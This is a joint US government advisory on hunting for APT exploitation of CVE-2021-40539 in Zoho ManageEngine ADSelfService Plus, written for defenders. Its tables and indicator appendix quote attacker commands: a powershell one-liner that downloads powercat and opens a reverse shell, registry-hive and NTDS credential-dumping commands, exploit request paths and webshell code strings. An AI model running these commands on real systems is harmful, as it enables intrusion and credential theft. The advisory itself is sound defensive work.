JOINT
CYBERSECURITY
ADVISORY

Co-Authored by:

TLP:AMBER

Product ID: AA21-327A

November 23, 2021

Threat Hunting Guide: Continued APT Exploitation of CVE-2021-40539 in Zoho ManageEngine ADSelfService Plus

SUMMARY

The U.S. Coast Guard Cyber Command (CGCYBER), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) produced this joint advisory to highlight the ongoing cyber threat associated with active exploitation of CVE-2021-40539 in Zoho ManageEngine ADSelfService Plus software. This advisory provides recommended actions to impacted organizations in order to hunt, mitigate, and recover from this activity.

CISA, CGCYBER, and FBI published the (TLP:AMBER) Joint Cybersecurity Advisory (CSA) AA21-250A on September 7, 2021, and the follow-on (TLP:WHITE) Joint CSA AA21-259A on September 16, 2021. Both CSAs detailed the active exploitation of the newly identified vulnerability CVE 2021-40539 and follow-on threat activity. CGCYBER also published the (TLP:AMBER) Maritime Cyber Incident Technical Report 03-21, which details attacker techniques as well as detection and mitigation measures. Additionally, the vendor, Zoho, published a detailed walkthrough of how CVE-2021-40539 enables exploit of their ManageEngine ADSelfService software in a security advisory.

Exploitation of this vulnerability has continued by APTs along with other attacker groups and poses a serious risk to critical infrastructure companies, U.S.-cleared defense contractors, academic institutions, and other entities that use the ManageEngine software. The adversarial tactics, techniques, and procedures (TTPs) used vary based on target and are indicative of multiple attacker groups exploiting this vulnerability to compromise U.S.-based infrastructure. The most prevalent techniques connected to exploitation of CVE-2021-40539 include leveraging compromised U.S.-based infrastructure—as well as symmetric encryption [T1573.1]—to obfuscate command and control (C2) traffic, installing webshells [T1505.3], and exfiltrating credentials, including the Active Directory NTDS database [T1003.3].

In addition to patching CVE-2021-40539, CGCYBER, NSA, CISA, and FBI strongly urge network defenders to implement the detection methods in this CSA to determine whether their organization has been compromised by this activity. Detection actions are crucial due to the active exploitation of this vulnerability prior to release of the patch in ADSelfService Plus build 6114. Patching identified ManageEngine systems does not remove the threat of a previous compromise before the patch was applied. Attackers have been observed re-connecting to persistence mechanisms installed prior to the

patch. This advisory focuses on activity seen to date, but as TTPs or CVEs associated with this campaign change USG partners will provide updates via the appropriate channels.

RECOMMENDED ACTIONS

This section provides recommended actions for network defenders to use to determine if their organization has been compromised so they may to ensure the vulnerability is mitigated.

1. Determine if your organization has had any public-facing instances of ManageEngine ADSelfService from August 2021 onwards.
    a. Immediately isolate all identified system(s) from the network until both detection and mitigation actions can be taken.
2. Apply relevant detection measures to determine if the identified server(s) were compromised.
    a. If compromise is detected:
        i. See the Contact section of this document for available incident reporting mechanisms.
        ii. Complete an incident response investigation in order to inform recovery actions.
        iii. Apply applicable recovery actions.
3. Apply mitigation measures to include patching the software so that it contains Zoho's published security fix.
4. Reconnect systems to network with relevant protections in place.

Note: Network or domain management services, like ManageEngine ADSelfService, should not be made directly accessible from the internet. If the services must be externally accessible, the minimum security controls that should be in place include network segmentation of the service into a DMZ, multi-factor authentication, strict access control, running the service under principle of least privilege, and continuous cybersecurity monitoring. However, organizations should be aware that these controls do not protect against exploitation of a zero-day vulnerability, as was the case with CVE-2021-40539.

Detection Measures

This section provides recommended detection actions. See Appendix A for specific data sources that can be leveraged for detection.

1. Identify all servers running ManageEngine ADSelfService that had any connection to the internet since August 2021. Isolate identified servers and preserve all data relevant to the investigation.
2. Scan the ManageEngine application logs from \ManageEngine\ADSelfService Plus\logs\ for applicable indicators of compromise (IOCs) listed below.[1,2]

[1] See the Zoho security advisory for CVE-2021-40539 for an automated exploit detection tool that automates this search.

a. ManageEngine access logs, filename access_log_<date>.txt. Search for the strings:
   - /../RestAPI
   - /./RestAPI

b. ManageEngine ServerOut logs, filename serverOut_<date>.txt. Search for the string:
   - RequestFacade cannot be cast to com.adventnet.iam.security.SecurityRequestWrapper

c. ManageEngine ADS logs, filename adslog_<date>.txt. Search for the strings:
   - NullPointerException
   - addSmartCardConfig
   - getSmartCardConfig

Note: The attackers have been observed taking steps to evade defenders. If the attacker deletes or modifies ManageEngine logs, then the detection methods above that require ManageEngine application logs may not identify compromise. Missing or modified ManageEngine application logs would be an indication of this activity.

3. Scan data from each ManageEngine system for additional IOCs as identified in Appendix B and those within the Additional Resources. Relevant data sources include network monitoring logs (such as firewall, VPN, web proxy, or intrusion detection system logs), Windows Event Logs (Security, System, and Application), Windows Registry, and additional data artifacts that can be obtained from system memory or disk.
4. Search for possible C2 connections or data exfiltration from August 2021 onwards:
   a. Search through network monitoring logs for IP and domain IOCs.
   b. Search through network, server, and web application logs for behavior indicative of webshells:
      i. Incoming HTTP requests (`GET` or `POST`) to any of the webshell filenames listed in Appendix B.
      ii. Incoming HTTP requests (`GET` or `POST`) that are targeting new, first-time resource pages for a service can be indicative of a webshell. Validate web resources that were first accessed on or after August 1, 2021.
      iii. Also reference the detection measures provided on the ATT&CK technique page for webshells [T1505.003].
5. Use the Threat Hunting Guide in Appendix A to hunt for additional adversarial techniques that have been observed in connection to this activity.

[2] See Appendix B and Additional Resources for more indicators for the ManageEngine application logs that are not included in the Zoho detection script.

Note: Attackers have been observed using a wide range of malware and C2 infrastructure. Indicator-based detection is therefore limited and may need to be supplemented with behavior-based detection measures such as those outlined in Appendix A.

Recovery from Compromise

This section provides recommended recovery actions to take if a compromise is identified.

1. Report the incident to CISA or FBI. See the Contact section below.
2. Complete a full rebuild of the compromised ManageEngine server(s), including re-installing the host operating system and implementing mitigation measures.
    a. Zoho provides instructions to backup the ADSelfService Plus database and subsequently restore the backup as part of its security advisory for this vulnerability.
3. Re-establish trust for all compromised credentials:
    a. Reset all user account passwords for the relevant domains. ManageEngine ADSelfService stores sensitive Active Directory information on user accounts, group information, domain computers, and password hashes. Therefore, a compromise of the ManageEngine service exposes this information to the attacker.
    b. If any evidence of successful credential dumping from Domain Controllers is identified, steps should be taken to recover Active Directory. Due to the functionality of the ManageEngine software, the service is often running with elevated domain privileges that provide access to sensitive Active Directory databases. As part of the initial CVE-2021-40539 exploit, the attacker can often obtain the plaintext password of the service account the ManageEngine software is running under. Microsoft provides documentation on the crucial steps to recover Active Directory. These steps include:
        i. Double reset the domain's KRBTGT. **Note:** the KRBTGT has to be reset twice to completely clear the cache.
        ii. Reset the computer account for all impacted domain controllers.
        iii. Conduct a password reset on all domain accounts, including user, administrator, and service accounts. Ensure that the domain-wide password reset utilizes password history policies so that users are not able to re-use passwords previously used.
        iv. If there is evidence of any account creation by the attacker, these accounts should be removed

Mitigation Measures

The section provides recommendations to mitigate the threat against CVE-2021-40539, as well as similar threats.

1. **Patch all ManageEngine ADSelfService applications to 6114 or higher.** Zoho released this patch on September 7, 2021. **Note:** Patching does not remove the threat of a previous compromise of CVE-2021-40539 before the patch was applied. The attackers have been observed re-connecting to persistence mechanisms installed prior to the patch, which is why this CSA strongly urges network defenders to implement detection measures.
2. **Minimize public-facing attack surface.** Network or domain management services, like ManageEngine ADSelfService, should not be made directly accessible from the internet. If a service like ManageEngine must be externally accessible, the minimum security controls that should be in place include network segmentation of the service into a DMZ, Multi-Factor Authentication, strict access control, running the service under principles of Least Privilege, and continuous cybersecurity monitoring. These controls will not protect against exploitation of a zero-day vulnerability as was the case with CVE-2021-40539.
3. **Enforce principles of least privilege for all accounts.** Limiting ManageEngine service account privileges could mitigate the consequences of a zero-day exploit (Reference ATT&CK mitigations for Privileged Account Management and User Account Management). Due to ManageEngine ADSelfService's domain management functions, the effectiveness of this control may be limited for this specific software.
    a. Organizations can also review the concept of a "Zero-Trust" architecture. Zero Trust is a model based on the concept of Least Privilege. CISA released a public notice in February of 2021 encouraging organizations and administrators to shift towards a Zero-Trust model. The CISA notice provides the National Security Agency's (NSA) Guidance on Implementing a Zero Trust Architecture.
4. **Defense-in-Depth measures** such as endpoint detection and response (EDR) software and web based filtering may assist in detecting and stopping activity connected to the exploitation of CVE-2021-40539.

CONTACT

To report Cyber incidents to the USCG, please contact the USCG National Response Center (NRC) Phone: 1-800-424-8802, email: NRC@uscg.mil.The USCG fields Cyber Protection Teams (CPTs) that can deploy for prevention or response activities. For more information on USCG CPTs, please email maritimecyber@uscg.mil.

For NSA Client Requirements / General Cybersecurity Inquiries: Cybersecurity Requirements Center, 410-854-4200, Cybersecurity_Requests@nsa.gov

For questions related to this report or to request resources for incident response or technical assistance, please contact: CISA (888-282-0870 or Central@cisa.dhs.gov) or FBI (FBI Cyber Division (855-292-3937, CyWatch@fbi.gov)) or local field office.

DISCLAIMER OF WARRANTIES AND ENDORSEMENT

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. This document does not change any legal requirements or impose new requirements on the public.

PURPOSE

This document was developed by CGCYBER, NSA, CISA, and FBI in furtherance their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared at TLP AMBER to the appropriate stakeholders.

ADDITIONAL RESOURCES

- (TLP:AMBER) Joint CSA AA21-250A, published on September 7, 2021 and shared via Homeland Information Security Network (HSIN)
- Joint CSA AA21-259A, published on September 16, 2021.
- (TLP:AMBER) U.S. Coast Guard Cyber Command Technical report , 21-03, published on September 8, 2021 and shared via Homeland Information Security Network (HSIN)
- Zoho ManageEngine Security Advisory for CVE-2021-40539
- Zoho ManageEngine Patch for fix to CVE-2021-40539
- Palo Alto Unit42: Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer, published on November 7, 2021.
- Microsoft Threat Intelligence Center (MSTIC): Threat Actor DEV-0322 exploiting ZOHO ManageEngine ADSelfService Plus, published on November 8, 2021

APPENDIX A: THREAT HUNTING GUIDE

This Threat Hunting guide is meant to provide a starting point for incident response investigations based on other observed activity. As stated in this report's Executive Summary, CVE-2021-40539 is likely being exploited by a diverse set of attacker groups (including ATPs), and thus a wide range of TTPs and malware are in use. There is additional public reporting from PaloAlto Unit 42 and Microsoft Threat Intelligence Center (MSTIC) with more TTPs and indicators that have been observed in connection to CVE-2021-40539 compromises.

ATT&CK Technique	Relevant Data Sources	Specific Activity
T1190: Exploit Public-Facing Application Tactic: Initial Access	ManageEngine Application Logs located in "\ManageEngine\ADSelfService Plus\logs"	Log errors or messages with below strings: • /../RestAPI • /./RestAPI • RequestFacade cannot be cast to com.adventnet.iam.security.SecurityRequestWrapper • NullPointerException • addSmartCardConfig • getSmartCardConfig • /help/admin-guide/Reports/ReportGenerate.jsp • /ServletApi/../RestApi/LogonCustomization • /ServletApi/../RestAPI/Connection • Keystore will be created for "admin" • The status of keystore creation is Upload! • *NullPointerException* combined with *addSmartCardConfig* or *getSmartCardConfig*
T1068: Exploitation for Privilege Escalation Tactic: Privilege Escalation	• ManageEngine Application Logs located in "\ManageEngine\ADSelfService Plus\logs"	Exploit of CVE-2021-40539 allows an attacker to install malware running under the ManageEngine account, and can also provide the plaintext password of the ManageEngine service account. ManageEngine is normally configured with elevated domain privileges.
T1078.2: Valid Accounts: Domain Accounts Tactic: Privilege Escalation	• Windows Event Logs. Event ID 4624, 4625, 4672	Exploit of CVE-2021-40539 can provide the plaintext password of the ManageEngine service account. ManageEngine is normally configured with elevated domain privileges. The compromised service account can be used to extract sensitive data about the domain.
T1505.4: Web Shell Tactic: Persistence	• Network Monitoring Logs • Web Application Logs • Windows Event Logs. Event ID 4688. • Sysmon EID 11 (File Creation) • File listings from compromised systems and webservers	• Unusual ***.jsp** or ***.exe** files installed on the ManageEngine servers. • High number of unique HTTP requests from a single source IP address, or small subset of sources. • Incoming HTTP requests (GET or POST) to any of the webshell filenames listed in Appendix B. • Incoming HTTP requests (GET or POST) that are targeting new or unusual resource pages for a service can be indicative of a webshell. ○ One way this can be identified is by looking for HTTP resources that are only accessed by a

		relatively very low number of source IP addresses.

T1053: Scheduled Task/Job
 	
Tactic: Persistence
	• Windows Event Logs. Event ID 4698
	• Sysmon EID 1 (Process Creation)
		• Event ID 4688 – A new process has been created
		  ○ Command execution connected to unusual scheduled tasks.
		• Event ID 4698 – Scheduled Task creation
		  ○ Scheduled tasks containing **certutil.exe** executed with the **–decode** parameter to decode Base64-encoded files.
		  ○ Scheduled tasks with unusual use of **regsvr32.exe** for process execution.

T1547.1: Boot or Logon Autostart Execution Tactic: Persistence	• Windows Event Logs. Event ID 4688, 4698 • Sysmon EID 1 (Process Creation)	Malware dropped in the following autorun locations: • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
T1218: Signed Binary Execution Tactic: Execution	• Windows Event Logs. Event ID 4688 • Sysmon EID 7 (Module Load)	• Living-off-the-Land tactics (“LOLBAS/LOLBIN”) where built in Windows utilities are utilized as much as possible. • **regsvr32.exe** used to execute ***.dll** files or other commands. • Unusual execution with **rundll32.exe**

T1059.1: Powershell
 	
Tactic: Execution
	• Windows Event Logs. Event ID 4688, 400, 403, 600
	• Sysmon EID 1 (Process Creation)
		• Event ID 4688 – A new process has been created
		  ○ Review unusual commands containing **powershell.exe**
		  ○ Example: **powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c <domain or ip> -p <port #> -e cmd**
		  ○ **powershell.exe** executing a ps1 script that contains similar parameters to the above example.

T1047: Windows Management Instrumentation (WMI) Tactic: Execution, Lateral Movement	• Network monitoring logs (for internal network traffic) • Windows Event Logs. Event ID 4688 • Sysmon EID 1 (Process Creation)	• parent process wmiprvse.exe spawning anomalous commands on hosts • wmic.exe executing unusual commands on targeted hosts ○ Example: **wmic** being used for unusual remote execution in the form of ***wmic /node:<computername> /user:<username> /password:<password> process call create “cmd.exe …”*** • Unusual internal network connections to Domain Controllers. • Unusual internal network connections originating from ManageEngine servers.
T1027: Obfuscated	• Windows Event Logs. Event ID 4688, 4663	• Attackers frequently rename and compress files to attempt to obfuscate

Files or Information Tactic: Defense Evasion	• Sysmon EID 11 (File Creation), EID 1 (Process Creation) • Other system logs	• Unusual files with ***.cer**, ***.lic**, or ***.zip** extensions. • Compressed files with unusual naming conventions. For example, a zip file named with a file extension normally used for certificate files.
T1140: Deobfuscate/ Decode Files or Information Tactic: Defense Evasion	• Windows Event Logs. Event ID 4688, 4663 • Sysmon EID 11 (File Creation), EID 1 (Process Creation) • Other system logs	• **keytool.exe** being executed directly to unpack zip files or create custom certificate stores • **certutil.exe** executed with the **–decode** parameter to decode Base64-encoded files.
T1070: Indicator Removal on Host Tactic: Defense Evasion	• Windows Event Logs. Event ID 4688 • Sysmon EID 23 (File Deletion), EID 1 (Process Creation)	• Unusual execution of command line utilities to delete/remove files such as with **del** or **dir <directory> /od** • Execution of a ***.bat** script, or other command line scripting, that then modifies ManageEngine application logs and Windows Event Logs.

T1552.2: Credentials in Registry
 	
Tactic: Credential Access
	• Windows Event Logs. Event ID 4656, 4688
	• Sysmon EID 1 (Process Creation)
		• Event ID 4656 – A handle to an object was requested
		  ○ Unusual access to registry keys
		• Event ID 4688 – A new process has been created
		  ○ Review command line for activity related to saving or copying Windows registry hives. Example includes use **reg.exe** like the belo :
		  ▪ **reg save HKLM\SAM**
		  ▪ **reg save HKLM\SYSTEM**
		  ▪ **reg save HKLM\security**

T1003.1: OS Credential Dumping: LSASS Memory
 	
Tactic: Credential Access
	• Windows Event Logs. Event ID 4688, 4672, 4656, 4633
	• Sysmon EID 1 (Process Creation)
		• Indications of Mimikatz
		• Event ID 4688 - A new process has been created
		  ○ Processes being executed out of anomalous file paths.
		  ○ Command line execution of powershell to download mimikatz.
		• Event ID 4672 - Privileges assigned to new logon
		  ○ Unusual logons with SeDebugPrivilege or SeTcbPrivilege
		• Event ID 4656 – A handle to an object was requested
		  ○ Handle requests to lsass.exe
		• Event ID 4663 – An attempt was made to access an object
		  ○ Access attempts to lsass.exe

T1003.3: OS Credential Dumping: NTDS
 	
Tactic: Credential Access
	• Windows Event Logs. Event ID 4688, 4663, 4672, 4661, 7036, 8222
	• Sysmon EID 1 (Process Creation)
		• Abnormal use of the **ntdsutil** command line utility or **ntdsutil.exe** to create a backup of the NTDS file.
		• Volume Shadow Copy creation
		• Event ID 4688 – A new process has been created
		  ○ ntdsutil.exe process creation, or use of command line **ntdsutil** utility.
		  ○ vssadmin.exe process creation
		• Event ID 7036 - A service entered a new state
		  ○ Volume Shadow Copy service entered Running

		state. • Event ID 8222 – Shadow Copy has been created.
Multiple Discovery Techniques Tactic: Discovery	• Network monitoring logs • Windows Event Logs. Event ID 4688 (with command line logging) • Sysmon EID 1 (Process Creation)	• The use of windows command line utilities in combination for the purpose of enumeration: **whoami**, **systeminfo**, **ipconfig**, **net [group|user], ping**
T1012: Query Registry Tactic: Discovery	▪ Windows Event Logs. Event ID 4656, 4688 ▪ Sysmon EID 1 (Process Creation)	• Event ID 4656 – A handle to an object was requested o Unusual access to registry keys • Event ID 4688 – A new process has been created o Review command line for activity related to saving or copying Windows registry hives. Example includes use **reg.exe** like the belo : ▪ **reg save HKLM\SAM** ▪ **reg save HKLM\SYSTEM** ▪ **reg save HKLM\security**
T1021.2: Remote Services – SMB/Windows Admin Shares Tactic: Lateral Movement	• Network monitoring logs • Windows Event Logs. Event ID 4688, 5140, 5145, 5156 • Sysmon EID 1 (Process Creation)	• The use of **net.exe** and **net use** commands to connect to other systems. • Unusual **net.exe** execution to connect to remote SMB shares.
T1560: Archive via Utility Tactic: Collection	• Network monitoring logs (specifically SMB network activity) • Windows Event Logs. Event ID 4688, 4663, 5140, 5145 • Sysmon EID 11 (File Creation), EID 1 (Process Creation)	• File *compress* → *move* → *delete* operations. • Windows utilities used to archive and stage files for exfil: **makecab**, **move**, **del**, **dir <directory> /od**
T1074: Data Staged Tactic: Collection	• Network monitoring logs (specifically SMB network activity) • Windows Event Logs. Event ID 4688, 4663 • Sysmon EID 11 (File Creation). EID1 (Process Creation)	• File *compress* → *move* → *delete* operations. • Windows utilities used to archive and stage files for exfil: **makecab**, **move**, **del**, **dir <directory> /od** • Unusual file transfer activities to the compromised ManageEngine server.
T1005: Data from Local System Tactic: Collection	• Windows Event Logs. Event ID 4688, 4104 • Sysmon EID 1 (Process Creation)	• Creating backups of ManageEngine files from "\ManageEngine\ADSelfService Plus\logs" • Execution of **pg_dump.exe** to dump ManageEngine databases.
T1573.1: Encrypted Channel:	• Network monitoring logs • Malware samples recovered from disk	• C2 connections were observed utilizing AES encryption with a static encryption key that varies depending on the malware.

Symmetric Cryptography Tactic: C2	• Sysmon EID 3 (Process Network Connections)	
T1041: Exfiltration Over C2 Channel Tactic: Exfiltration	• Network monitoring logs • Web Application logs • Sysmon EID 3 (Process Network Connections)	• Attackers observed shifting compressed files to compromised ManageEngine system, or other externally accessible web servers, and then using webshell functionality to download. • Spikes above the baseline for outgoing data connected to any single request, or small number of requests, could be an indication of unauthorized data exfiltration. • HTTP GET requests for unusual resources (pages, filenames)

APPENDIX B: INDICATORS OF COMPROMISE

This list of IOCs is meant to provide a starting point for incident response investigations based on other observed activity. As stated in this report's Executive Summary, CVE-2021-40539 is likely being exploited by a diverse set of attacker groups (including ATPs) with a diverse toolset meaning IOCs will be constantly changing and developing. There is additional public reporting from PaloAlto Unit 42 and Microsoft Threat Intelligence Center (MSTIC) with more indicators that have been observed in connection to CVE-2021-40539 compromises.

Type	Indicator	Description
filename	210827-020000.zip	Filename of staged data for exfiltration
filename	210828-020000.zip	Filename of staged data for exfiltration
filename	210829-020000.zip	Filename of staged data for exfiltration
filename	acds55.exe	re-named version of mimikatz
filename	adap.jsp	Webshell malware.
filename	custom.bat	Script to remove indicators from logs.
filename	custom.txt	Script to remove indicators from logs.
filename	dnsguard.dll	Zebracon Malware
filename	home.jsp	Webshell malware
filename	Lock.lic	Renamed filename of exfiltrated data
filename	ME_ADManager.exe	Malware
filename	mimidrv.sys	Re-named version of mimikatz
filename	mimikatz.exe	mimikatz direct download
filename	powercat.ps1	Opensource utility downloaded downloaded to the compromised system to allow remote command execution.
filename	ReportGenerate.jsp	Java webshell used by attacker
filename	reports.jsp	Webshell malware
filename	Reset.lic	Renamed filename of exfiltrated data
filename	ResetUnlock.lic	Renamed filename of exfiltrated data
filename	SelfService.csr	Attacker generated certificate signing request
filename	SelfService_1629383961146.keystore	Keystore created during explotation chain
filename	Service.cer	Zip file masquarading as a .cer (certificate) that attacker uploaded. This was used to unpack ReportGenerate.jsp
filename	update.jsp	Webshell malware
filename	wshelpers.dll	Zebracon Malware
filepath	C:\ManageEngine\ADSelfService Plus\bin\	ManageEngine filepath where malware and other tools were installed. Review location for unusual files or modifications
filepath	C:\ManageEngine\ADSelfService Plus\bin\cmd.exe	Unusual file location for cmd.exe, utilized for command execution on compromised ManageEngine server.
filepath	C:\ManageEngine\ADSelfService Plus\bin\service.cer	Full path of Service.cer
filepath	C:\ManageEngine\ADSelfService Plus\jre\bin\SelfService_1629383961146.keystore	Full path of attacker-created keystore
filepath	C:\ManageEngine\ADSelfService Plus\webapps\adssp\	ManageEngine filepath where webshell malware was installed. Review location for unusual files or modifications.

filepath	C:\ManageEngine\ADSelfService Plus\webapps\adssp\Certificates\SelfService.csr	Full path of Service.csr
filepath	C:\ManageEngine\ADSelfService Plus\webapps\adssp\help\admin-guide\Reports\ReportGenerate.jsp	Full path of webshell
filepath	C:\ManageEngine\ADSelfService Plus\webapps\adssp\html\	Filepath used for staging data to exfiltrate
filepath	C:\ManageEngine\ADSelfService Plus\webapps\adssp\html\promotion\adap.jsp	Full path of adap.jsp webshell malware.
filepath	C:\ManageEngine\ADSelfService Plus\work\Catalina\localhost\ROOT\org\apache\jsp\help\	Path utilized by attacker during initial exploit
filepath	C:\Users\<user>\AppData\Roaming\ADManager\<MALWARE>.exe	Filepath for location where malware was installed. Filename may vary
filepath	C:\Users\Public\custom.bat	Script to remove indicators from logs.
filepath	C:\Users\Public\custom.txt	Script to remove indicators from logs.
filepath	cwebapps\adssp\help\admin-guide\	ManageEngine filepath where webshell malware was installed. Review location for unusual files or modifications.
filepath	C:\Windows\Temp\nc.exe	Observed in the Shim Cache
filepath	C:\Windows\Temp\handle64.exe	Observed in the Shim Cache
filepath	C:\Users\<user>\AppData\Local\Temp\handle64.exe	Observed in the Shim Cache
filepath	C:\ManageEngine\ADService Plus\bin\handle.exe	Observed in the Shim Cache
filepath	C:\ManageEngine\ADService Plus\bin\pwdump.exe	Observed in the Shim Cache
reg key	SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ZIM	Persistence Mechanism via 'Run' reg key.
reg kalue	Regsvr32 /s c:\windows\system32\wshelper.dll	Persistence Mechanism via 'Run' reg key that executes C2 malware.
hash md5	182c7aefcce4cec2aa65ea2518fbbb13	ReportGenerate.jsp
hash md5	72657096d8245f15afc597383eb4e4ea	dnsguard.dll
hash md5	b28442da98a81a992eba8675b6820137	home.jsp
hash md5	c07cd01dfeedb29342e517b3d8fc622c	SelfService.csr
hash md5	c10e90fd2e386b2c0febea0db9edd0d8	Service.cer
hash md5	c53df86043c1650c37a9f38685041039	SelfService_1629383961146.keystore
hash md5	d5fb8672ddf488180f10d4d10da22ffe	reports.jsp
hash md5	dd12d463cd3b0dc999ca3c6ae8906e37	wshelpers.dll
hash sha1	18e17923508f7859b154e1fd4ed48c23519756ce	ReportGenerate.jsp
hash sha1	70a4b669154d9f2fe525835ebe92a7351498c226	SelfService_1629383961146.keystore
hash sha1	76a797bf038ac3c0dc52939c6f4b9814fef46569	Service.cer
hash sha1	81e7dce7f309fb2fa6ad9a650dd5111c60accc74	SelfService.csr
hash sha256	068d1b3813489e41116867729504c40019ff2b1fe32aab4716d429780e666324	File hash of observed malware.
hash sha256	49a6f77d380512b274baff4f78783f54cb962e2a8a5e238a453058a351fcfbba	File hash of observed malware.
hash	c10e90fd2e386b2c0febea0db9edd0d8	Hash for fake .cer
HTTP request value	CUSTOM_SSO_APP_TAG_NAME=ADSSPP	HTTP request value set by attackers
HTTP request value	CUSTOM_SSO_TICKET=1629387511041	HTTP request value set by attackers to point ManageEngine to attacker generated SSL cert location

HTTP URL path	/<WEBSHELL.jsp>	MangeEngine HTTP URL path webshell was hosted at. Webshell name may vary
HTTP URL path	/help/admin-guide/Reports/<WEBSHELL.jsp>	MangeEngine HTTP URL path webshell was hosted at. Webshell name may vary
HTTP URL path	/html/promotion/<WEBSHELL.jsp>	MangeEngine HTTP URL path webshell was hosted at. Webshell name may vary
scheduled task name	MicrosoftEdgeUpdateBrowserTaskMachinesUA	Scheduled task name used to launch Home.jsp webshell malware
useragent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	User-agent for webshell traffic from 66.117.x.x, and 207.250.x.x IPs
useragent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0	User-agent for webshell traffic from 172.87.x.x
useragent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0	User-agent for webshell traffic from 172.87.x.x
useragent	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0	User-agent for webshell traffic from 172.87.x.x
useragent	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0	User-agent for webshell traffic from 172.87.x.x, 66.117.x.x, and 207.250.x.x IPs
yara string	xc="036b7acbadfbd677"	Unique string connected to webshell malware
yara string	"new String(new byte[]{47, 67}), command);"	Webshell code string - connected to webshell evasion
yara string	“ProcessBuilder(new String(new byte[]{99, 109, 100})”	Webshell code string - connected to webshell evasion
yara string	ivParameter = "67NfRvQARK3sqkwA"	Webshell code string - unique AES Initialization Vector (IV)
yara string	request.getParameter("path").getBytes("ISO-8859-1"),"gb2312"	Webshell code string - decoding / encoding from chinese
yara string	request.getParameter("pwd").equals("sevck")	Webshell code string - unique password string
yara string	sKey = "JejEOrai3DhYR8q8"	Webshell code string - unique encryption key
yara string	String md5=md5(pass+xc)	Unique string connected to webshell malware
yara string	String pass="www.jsp.c0m"	Unique string connected to webshell malware
command line	powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c <domain> -p 12503 -e cmd	Powercat download from github, execution and establishment of connection to <domain> on port 12503
command line	powershell Get-ChildItem -Path C:/ManageEngine -Recurse -ErrorAction SilentlyContinue -Filter *.jsp	Reconnaissance for jsp files within the ManageEngine root directory or looking for their own jsp webshell files